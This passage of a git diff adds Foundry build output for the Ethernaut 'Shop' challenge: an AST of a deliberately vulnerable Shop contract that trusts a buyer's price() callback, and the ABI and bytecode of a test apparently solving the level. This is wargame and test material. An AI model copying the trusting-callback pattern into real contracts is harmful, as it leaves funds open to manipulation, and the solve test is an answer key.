Buyer"}},"visibility":"internal"}],"id":55058,"initialValue":{"arguments":[{"expression":{"id":55055,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"262:3:106","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":55056,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"266:6:106","memberName":"sender","nodeType":"MemberAccess","src":"262:10:106","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":55054,"name":"Buyer","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55043,"src":"256:5:106","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Buyer_$55043_$","typeString":"type(contract Buyer)"}},"id":55057,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"256:17:106","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Buyer_$55043","typeString":"contract Buyer"}},"nodeType":"VariableDeclarationStatement","src":"241:32:106"},{"condition":{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":55066,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":55063,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":55059,"name":"_buyer","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55053,"src":"288:6:106","typeDescriptions":{"typeIdentifier":"t_contract$_Buyer_$55043","typeString":"contract Buyer"}},"id":55060,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"295:5:106","memberName":"price","nodeType":"MemberAccess","referencedDeclaration":55042,"src":"288:12:106","typeDescriptions":{"typeIdentifier":"t_function_external_view$__$returns$_t_uint256_$","typeString":"function () view external returns (uint256)"}},"id":55061,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"288:14:106","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">=","rightExpression":{"id":55062,"name":"price","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55046,"src":"306:5:106","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"288:23:106","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"&&","rightExpression":{"id":55065,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"!","prefix":true,"src":"315:7:106","subExpression":{"id":55064,"name":"isSold","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55048,"src":"316:6:106","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"288:34:106","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":55078,"nodeType":"IfStatement","src":"284:114:106","trueBody":{"id":55077,"nodeType":"Block","src":"324:74:106","statements":[{"expression":{"id":55069,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":55067,"name":"isSold","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55048,"src":"338:6:106","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"hexValue":"74727565","id":55068,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"347:4:106","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"},"src":"338:13:106","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":55070,"nodeType":"ExpressionStatement","src":"338:13:106"},{"expression":{"id":55075,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":55071,"name":"price","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55046,"src":"365:5:106","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":55072,"name":"_buyer","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55053,"src":"373:6:106","typeDescriptions":{"typeIdentifier":"t_contract$_Buyer_$55043","typeString":"contract Buyer"}},"id":55073,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"380:5:106","memberName":"price","nodeType":"MemberAccess","referencedDeclaration":55042,"src":"373:12:106","typeDescriptions":{"typeIdentifier":"t_function_external_view$__$returns$_t_uint256_$","typeString":"function () view external returns (uint256)"}},"id":55074,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"373:14:106","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"365:22:106","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":55076,"nodeType":"ExpressionStatement","src":"365:22:106"}]}}]},"functionSelector":"a6f2ae3a","implemented":true,"kind":"function","modifiers":[],"name":"buy","nameLocation":"218:3:106","parameters":{"id":55049,"nodeType":"ParameterList","parameters":[],"src":"221:2:106"},"returnParameters":{"id":55050,"nodeType":"ParameterList","parameters":[],"src":"231:0:106"},"scope":55081,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[],"canonicalName":"Shop","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[55081],"name":"Shop","nameLocation":"141:4:106","scope":55082,"usedErrors":[],"usedEvents":[]}],"license":"MIT"},"id":106} \ No newline at end of file diff --git a/contracts/out/Shop.t.sol/TestShop.json b/contracts/out/Shop.t.sol/TestShop.json new file mode 100644 index 000000000..c00ed12cc --- /dev/null +++ b/contracts/out/Shop.t.sol/TestShop.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"IS_TEST","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"createLevelInstance","inputs":[{"name":"ethernaut","type":"address","internalType":"contract Ethernaut"},{"name":"level","type":"address","internalType":"contract Level"},{"name":"value","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"instance","type":"address","internalType":"address"}],"stateMutability":"nonpayable"},{"type":"function","name":"createUsers","inputs":[{"name":"userNum","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"address[]","internalType":"address payable[]"}],"stateMutability":"nonpayable"},{"type":"function","name":"excludeArtifacts","inputs":[],"outputs":[{"name":"excludedArtifacts_","type":"string[]","internalType":"string[]"}],"stateMutability":"view"},{"type":"function","name":"excludeContracts","inputs":[],"outputs":[{"name":"excludedContracts_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"excludeSenders","inputs":[],"outputs":[{"name":"excludedSenders_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"failed","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"getEthernautWithStatsProxy","inputs":[{"name":"owner","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"address","internalType":"contract Ethernaut"}],"stateMutability":"nonpayable"},{"type":"function","name":"getNextUserAddress","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address payable"}],"stateMutability":"nonpayable"},{"type":"function","name":"getOldFactory","inputs":[{"name":"contractName","type":"string","internalType":"string"}],"outputs":[{"name":"addr","type":"address","internalType":"address"}],"stateMutability":"nonpayable"},{"type":"function","name":"mineBlocks","inputs":[{"name":"numBlocks","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"setUp","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"submitLevelInstance","inputs":[{"name":"ethernaut","type":"address","internalType":"contract Ethernaut"},{"name":"instance","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"function","name":"targetArtifactSelectors","inputs":[],"outputs":[{"name":"targetedArtifactSelectors_","type":"tuple[]","internalType":"struct StdInvariant.FuzzSelector[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"selectors","type":"bytes4[]","internalType":"bytes4[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetArtifacts","inputs":[],"outputs":[{"name":"targetedArtifacts_","type":"string[]","internalType":"string[]"}],"stateMutability":"view"},{"type":"function","name":"targetContracts","inputs":[],"outputs":[{"name":"targetedContracts_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"targetInterfaces","inputs":[],"outputs":[{"name":"targetedInterfaces_","type":"tuple[]","internalType":"struct StdInvariant.FuzzInterface[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"artifacts","type":"string[]","internalType":"string[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetSelectors","inputs":[],"outputs":[{"name":"targetedSelectors_","type":"tuple[]","internalType":"struct StdInvariant.FuzzSelector[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"selectors","type":"bytes4[]","internalType":"bytes4[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetSenders","inputs":[],"outputs":[{"name":"targetedSenders_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"testInit","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"testSolve","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"event","name":"log","inputs":[{"name":"","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_address","inputs":[{"name":"","type":"address","indexed":false,"internalType":"address"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"uint256[]","indexed":false,"internalType":"uint256[]"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"int256[]","indexed":false,"internalType":"int256[]"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"address[]","indexed":false,"internalType":"address[]"}],"anonymous":false},{"type":"event","name":"log_bytes","inputs":[{"name":"","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false},{"type":"event","name":"log_bytes32","inputs":[{"name":"","type":"bytes32","indexed":false,"internalType":"bytes32"}],"anonymous":false},{"type":"event","name":"log_int","inputs":[{"name":"","type":"int256","indexed":false,"internalType":"int256"}],"anonymous":false},{"type":"event","name":"log_named_address","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"address","indexed":false,"internalType":"address"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256[]","indexed":false,"internalType":"uint256[]"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256[]","indexed":false,"internalType":"int256[]"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"address[]","indexed":false,"internalType":"address[]"}],"anonymous":false},{"type":"event","name":"log_named_bytes","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false},{"type":"event","name":"log_named_bytes32","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"bytes32","indexed":false,"internalType":"bytes32"}],"anonymous":false},{"type":"event","name":"log_named_decimal_int","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256","indexed":false,"internalType":"int256"},{"name":"decimals","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_named_decimal_uint","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256","indexed":false,"internalType":"uint256"},{"name":"decimals","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_named_int","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256","indexed":false,"internalType":"int256"}],"anonymous":false},{"type":"event","name":"log_named_string","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_named_uint","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_string","inputs":[{"name":"","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_uint","inputs":[{"name":"","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"logs","inputs":[{"name":"","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false}],"bytecode":{"object":"0x600c8054600160ff1991821681178355601e80549092161790556b75736572206164647265737360a01b60a05260805260ac6040527ffadd6953a0436e85528ded789af2e2b7e57c1cd7c68c5c3796d8ea67e0018db7601f55348015610063575f80fd5b506163b4806100715f395ff3fe608060405234801562000010575f80fd5b50600436106200018c575f3560e01c806385226c8111620000e3578063b5d11e991162000093578063e20c9f71116200006b578063e20c9f711462000314578063f82de7b0146200031e578063fa7626d41462000335575f80fd5b8063b5d11e9914620002d3578063b90a68fa14620002dd578063ba414fa6146200030a575f80fd5b8063916a17c611620000c7578063916a17c614620002975780639b59adbc14620002a1578063b5508aa914620002c9575f80fd5b806385226c81146200026757806385db81cc1462000280575f80fd5b80633e5e3c23116200013f57806366d9a9a0116200012357806366d9a9a0146200022d578063792e11f51462000246578063832e5fc2146200025d575f80fd5b80633e5e3c2314620002195780633f7286f41462000223575f80fd5b80631ed7831c11620001735780631ed7831c14620001d05780632356661a14620001e95780632ade38801462000200575f80fd5b80630a9254e414620001905780631c7db669146200019c575b5f80fd5b6200019a62000343565b005b620001b3620001ad36600462001b2d565b62000806565b6040516001600160a01b0390911681526020015b60405180910390f35b620001da620009d0565b604051620001c7919062001b70565b620001b3620001fa36600462001c5c565b62000a32565b6200020a62000bfd565b604051620001c7919062001d2f565b620001da62000d45565b620001da62000da5565b6200023762000e05565b604051620001c7919062001df2565b620001da6200025736600462001ebf565b62000eff565b6200019a6200108f565b62000271620011ca565b604051620001c7919062001ed7565b620001b36200029136600462001f3d565b6200129f565b62000237620013be565b620002b8620002b236600462001f5b565b620014b8565b6040519015158152602001620001c7565b6200027162001648565b6200019a6200171d565b601f80546040805160208082018490528251808303820181529183019092528051910120909155620001b3565b620002b8620017b6565b620001da6200188a565b6200019a6200032f36600462001ebf565b620018ea565b601e54620002b89060ff1681565b5f62000350600262000eff565b9050805f8151811062000367576200036762001f97565b60209081029190910101516022805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600560448201527f4f776e65720000000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b1580156200041c575f80fd5b505af11580156200042f573d5f803e3d5ffd5b505050508060018151811062000449576200044962001f97565b60209081029190910101516023805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600660448201527f506c6179657200000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b158015620004fe575f80fd5b505af115801562000511573d5f803e3d5ffd5b50506022546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b1580156200056c575f80fd5b505af11580156200057f573d5f803e3d5ffd5b50506022546200059b92506001600160a01b031690506200129f565b6020805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03929092169190911790556040515f90620005d89062001ad2565b604051809103905ff080158015620005f2573d5f803e3d5ffd5b506020546040517f202023d40000000000000000000000000000000000000000000000000000000081526001600160a01b03808416600483015292935091169063202023d4906024015f604051808303815f87803b15801562000653575f80fd5b505af115801562000666573d5f803e3d5ffd5b505050507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620006c5575f80fd5b505af1158015620006d8573d5f803e3d5ffd5b50506023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b15801562000733575f80fd5b505af115801562000746573d5f803e3d5ffd5b50506020546200076b92506001600160a01b031690508266038d7ea4c6800062000806565b60215f6101000a8154816001600160a01b0302191690836001600160a01b031602179055507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620007eb575f80fd5b505af1158015620007fe573d5f803e3d5ffd5b505050505050565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b15801562000862575f80fd5b505af115801562000875573d5f803e3d5ffd5b50506040517fdfc86b170000000000000000000000000000000000000000000000000000000081526001600160a01b0386811660048301528716925063dfc86b17915084906024015f604051808303818588803b158015620008d5575f80fd5b505af1158015620008e8573d5f803e3d5ffd5b50505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af11580156200094d573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000976919081019062002038565b90508060018251620009899190620021c8565b815181106200099c576200099c62001f97565b60200260200101515f0151600281518110620009bc57620009bc62001f97565b60200260200101515f1c9150509392505050565b6060601680548060200260200160405190810160405280929190818152602001828054801562000a2857602002820191905f5260205f20905b81546001600160a01b0316815260019091019060200180831162000a09575b5050505050905090565b5f807f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663d930a0e66040518163ffffffff1660e01b81526004015f60405180830381865afa15801562000a92573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000abb9190810190620021de565b90505f81848560405160200162000ad492919062002230565b60408051601f198184030181529082905262000af49291602001620022de565b60408051601f19818403018152908290527f60f9bb1100000000000000000000000000000000000000000000000000000000825291505f90737109709ecfa91a80626ff3989d68f67f5b1dd12d906360f9bb119062000b5890859060040162002310565b5f60405180830381865afa15801562000b73573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000b9c9190810190620021de565b90505f62000be96040518060400160405280601081526020017f2e62797465636f64652e6f626a65637400000000000000000000000000000000815250836200195e90919063ffffffff16565b90508051602082015ff09695505050505050565b6060601d805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c575f84815260208082206040805180820182526002870290920180546001600160a01b03168352600181018054835181870281018701909452808452939591948681019491929084015b8282101562000d24578382905f5260205f2001805462000c929062002324565b80601f016020809104026020016040519081016040528092919081815260200182805462000cc09062002324565b801562000d0f5780601f1062000ce55761010080835404028352916020019162000d0f565b820191905f5260205f20905b81548152906001019060200180831162000cf157829003601f168201915b50505050508152602001906001019062000c72565b50505050815250508152602001906001019062000c20565b50505050905090565b6060601880548060200260200160405190810160405280929190818152602001828054801562000a2857602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a09575050505050905090565b6060601780548060200260200160405190810160405280929190818152602001828054801562000a2857602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a09575050505050905090565b6060601b805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c575f8481526020908190206040805180820182526002860290920180546001600160a01b0316835260018101805483518187028101870190945280845293949193858301939283018282801562000ee657602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19168152602001906004019060208260030104928301926001038202915080841162000e925790505b5050505050815250508152602001906001019062000e28565b60605f8267ffffffffffffffff81111562000f1e5762000f1e62001bbe565b60405190808252806020026020018201604052801562000f48578160200160208202803683370190505b5090505f5b8381101562001088575f306001600160a01b031663b90a68fa6040518163ffffffff1660e01b81526004016020604051808303815f875af115801562000f95573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000fbb91906200235e565b6040517fc88a5e6d0000000000000000000000000000000000000000000000000000000081526001600160a01b038216600482015268056bc75e2d631000006024820152909150737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c88a5e6d906044015f604051808303815f87803b15801562001039575f80fd5b505af11580156200104c573d5f803e3d5ffd5b505050508083838151811062001066576200106662001f97565b6001600160a01b03909216602092830291909101909101525060010162000f4d565b5092915050565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b158015620010e6575f80fd5b505af1158015620010f9573d5f803e3d5ffd5b505050505f6040516200110c9062001ae0565b604051809103905ff08015801562001126573d5f803e3d5ffd5b506021546040517fd018db3e0000000000000000000000000000000000000000000000000000000081526001600160a01b03918216600482015291925082169063d018db3e906024015f604051808303815f87803b15801562001187575f80fd5b505af11580156200119a573d5f803e3d5ffd5b5050602054602154620011c79350620011c192506001600160a01b039182169116620014b8565b62001a00565b50565b6060601a805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c578382905f5260205f200180546200120d9062002324565b80601f01602080910402602001604051908101604052809291908181526020018280546200123b9062002324565b80156200128a5780601f1062001260576101008083540402835291602001916200128a565b820191905f5260205f20905b8154815290600101906020018083116200126c57829003601f168201915b505050505081526020019060010190620011ed565b5f80604051620012af9062001aee565b604051809103905ff080158015620012c9573d5f803e3d5ffd5b5090505f604051620012db9062001afc565b604051809103905ff080158015620012f5573d5f803e3d5ffd5b508483604051620013069062001b0a565b6001600160a01b03938416815291831660208301529091166040820152606001604051809103905ff08015801562001340573d5f803e3d5ffd5b506040517fbe117dfd0000000000000000000000000000000000000000000000000000000081526001600160a01b0380831660048301529192509083169063be117dfd906024015f604051808303815f87803b1580156200139f575f80fd5b505af1158015620013b2573d5f803e3d5ffd5b50939695505050505050565b6060601c805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c575f8481526020908190206040805180820182526002860290920180546001600160a01b031683526001810180548351818702810187019094528084529394919385830193928301828280156200149f57602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200190600401906020826003010492830192600103820291508084116200144b5790505b50505050508152505081526020019060010190620013e1565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b15801562001514575f80fd5b505af115801562001527573d5f803e3d5ffd5b50506040517fc882d7c20000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301528616925063c882d7c291506024015f604051808303815f87803b15801562001585575f80fd5b505af115801562001598573d5f803e3d5ffd5b505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af1158015620015fc573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262001625919081019062002038565b90506001815111156200163d57600191505062001642565b5f9150505b92915050565b60606019805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c578382905f5260205f200180546200168b9062002324565b80601f0160208091040260200160405190810160405280929190818152602001828054620016b99062002324565b8015620017085780601f10620016de5761010080835404028352916020019162001708565b820191905f5260205f20905b815481529060010190602001808311620016ea57829003601f168201915b5050505050815260200190600101906200166b565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b15801562001774575f80fd5b505af115801562001787573d5f803e3d5ffd5b5050602054602154620017b49350620017ae92506001600160a01b039182169116620014b8565b62001a7f565b565b6008545f9060ff1615620017ce575060085460ff1690565b6040517f667f9d70000000000000000000000000000000000000000000000000000000008152737109709ecfa91a80626ff3989d68f67f5b1dd12d600482018190527f6661696c6564000000000000000000000000000000000000000000000000000060248301525f9163667f9d7090604401602060405180830381865afa1580156200185d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200188391906200237c565b1415905090565b6060601580548060200260200160405190810160405280929190818152602001828054801562000a2857602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a09575050505050905090565b5f620018f7824362002394565b6040517f1f7b4f3000000000000000000000000000000000000000000000000000000000815260048101829052909150737109709ecfa91a80626ff3989d68f67f5b1dd12d90631f7b4f30906024015f604051808303815f87803b158015620007eb575f80fd5b6040517ffd921be8000000000000000000000000000000000000000000000000000000008152606090737109709ecfa91a80626ff3989d68f67f5b1dd12d9063fd921be890620019b59086908690600401620023aa565b5f60405180830381865afa158015620019d0573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f19168201604052620019f99190810190620023db565b9392505050565b6040517f0c9fd5810000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d90630c9fd581906024015b5f6040518083038186803b15801562001a65575f80fd5b505afa15801562001a78573d5f803e3d5ffd5b5050505050565b6040517fa59828850000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063a59828859060240162001a4e565b61066f806200241283390190565b6101f58062002a8183390190565b610ae58062002c7683390190565b611e7a806200375b83390190565b610daa80620055d583390190565b6001600160a01b0381168114620011c7575f80fd5b5f805f6060848603121562001b40575f80fd5b833562001b4d8162001b18565b9250602084013562001b5f8162001b18565b929592945050506040919091013590565b602080825282518282018190525f9190848201906040850190845b8181101562001bb25783516001600160a01b03168352928401929184019160010162001b8b565b50909695505050505050565b634e487b7160e01b5f52604160045260245ffd5b6040516060810167ffffffffffffffff8111828210171562001bf85762001bf862001bbe565b60405290565b604051601f8201601f1916810167ffffffffffffffff8111828210171562001c2a5762001c2a62001bbe565b604052919050565b5f67ffffffffffffffff82111562001c4e5762001c4e62001bbe565b50601f01601f191660200190565b5f6020828403121562001c6d575f80fd5b813567ffffffffffffffff81111562001c84575f80fd5b8201601f8101841362001c95575f80fd5b803562001cac62001ca68262001c32565b62001bfe565b81815285602083850101111562001cc1575f80fd5b816020840160208301375f91810160200191909152949350505050565b5f5b8381101562001cfa57818101518382015260200162001ce0565b50505f910152565b5f815180845262001d1b81602086016020860162001cde565b601f01601f19169290920160200192915050565b602080825282518282018190525f919060409081850190600581811b87018401888601875b8481101562001de357603f198a8403018652815180516001600160a01b03168452880151888401889052805188850181905290890190606081871b8601810191908601905f5b8181101562001dcc57605f1988850301835262001db984865162001d02565b948d01949350918c019160010162001d9a565b505050968901969350509087019060010162001d54565b50909998505050505050505050565b5f60208083018184528085518083526040925060408601915060408160051b8701018488015f5b8381101562001eb157888303603f19018552815180516001600160a01b031684528701518784018790528051878501819052908801905f9060608601905b8083101562001e9b5783517fffffffff00000000000000000000000000000000000000000000000000000000168252928a019260019290920191908a019062001e57565b5096890196945050509086019060010162001e19565b509098975050505050505050565b5f6020828403121562001ed0575f80fd5b5035919050565b5f60208083016020845280855180835260408601915060408160051b8701019250602087015f5b8281101562001f3057603f1988860301845262001f1d85835162001d02565b9450928501929085019060010162001efe565b5092979650505050505050565b5f6020828403121562001f4e575f80fd5b8135620019f98162001b18565b5f806040838503121562001f6d575f80fd5b823562001f7a8162001b18565b9150602083013562001f8c8162001b18565b809150509250929050565b634e487b7160e01b5f52603260045260245ffd5b5f67ffffffffffffffff82111562001fc75762001fc762001bbe565b5060051b60200190565b5f62001fe162001ca68462001c32565b905082815283838301111562001ff5575f80fd5b620019f983602083018462001cde565b5f82601f83011262002015575f80fd5b620019f98383516020850162001fd1565b8051620020338162001b18565b919050565b5f60208083850312156200204a575f80fd5b825167ffffffffffffffff8082111562002062575f80fd5b818501915085601f83011262002076575f80fd5b81516200208762001ca68262001fab565b81815260059190911b83018401908481019088831115620020a6575f80fd5b8585015b83811015620021a757805185811115620020c2575f80fd5b86016060818c03601f19011215620020d8575f80fd5b620020e262001bd2565b8882015187811115620020f3575f80fd5b8201603f81018d1362002104575f80fd5b898101516200211762001ca68262001fab565b81815260059190911b8201604001908b8101908f83111562002137575f80fd5b6040840193505b82841015620021595783518252928c0192908c01906200213e565b845250505060408201518781111562002170575f80fd5b620021808d8b8386010162002005565b8a83015250620021936060830162002026565b6040820152845250918601918601620020aa565b5098975050505050505050565b634e487b7160e01b5f52601160045260245ffd5b81810381811115620016425762001642620021b4565b5f60208284031215620021ef575f80fd5b815167ffffffffffffffff81111562002206575f80fd5b8201601f8101841362002217575f80fd5b620022288482516020840162001fd1565b949350505050565b7f2f6f75742f00000000000000000000000000000000000000000000000000000081525f83516200226981600585016020880162001cde565b7f2e736f6c2f0000000000000000000000000000000000000000000000000000006005918401918201528351620022a881600a84016020880162001cde565b7f2e6a736f6e000000000000000000000000000000000000000000000000000000600a9290910191820152600f01949350505050565b5f8351620022f181846020880162001cde565b8351908301906200230781836020880162001cde565b01949350505050565b602081525f620019f9602083018462001d02565b600181811c908216806200233957607f821691505b6020821081036200235857634e487b7160e01b5f52602260045260245ffd5b50919050565b5f602082840312156200236f575f80fd5b8151620019f98162001b18565b5f602082840312156200238d575f80fd5b5051919050565b80820180821115620016425762001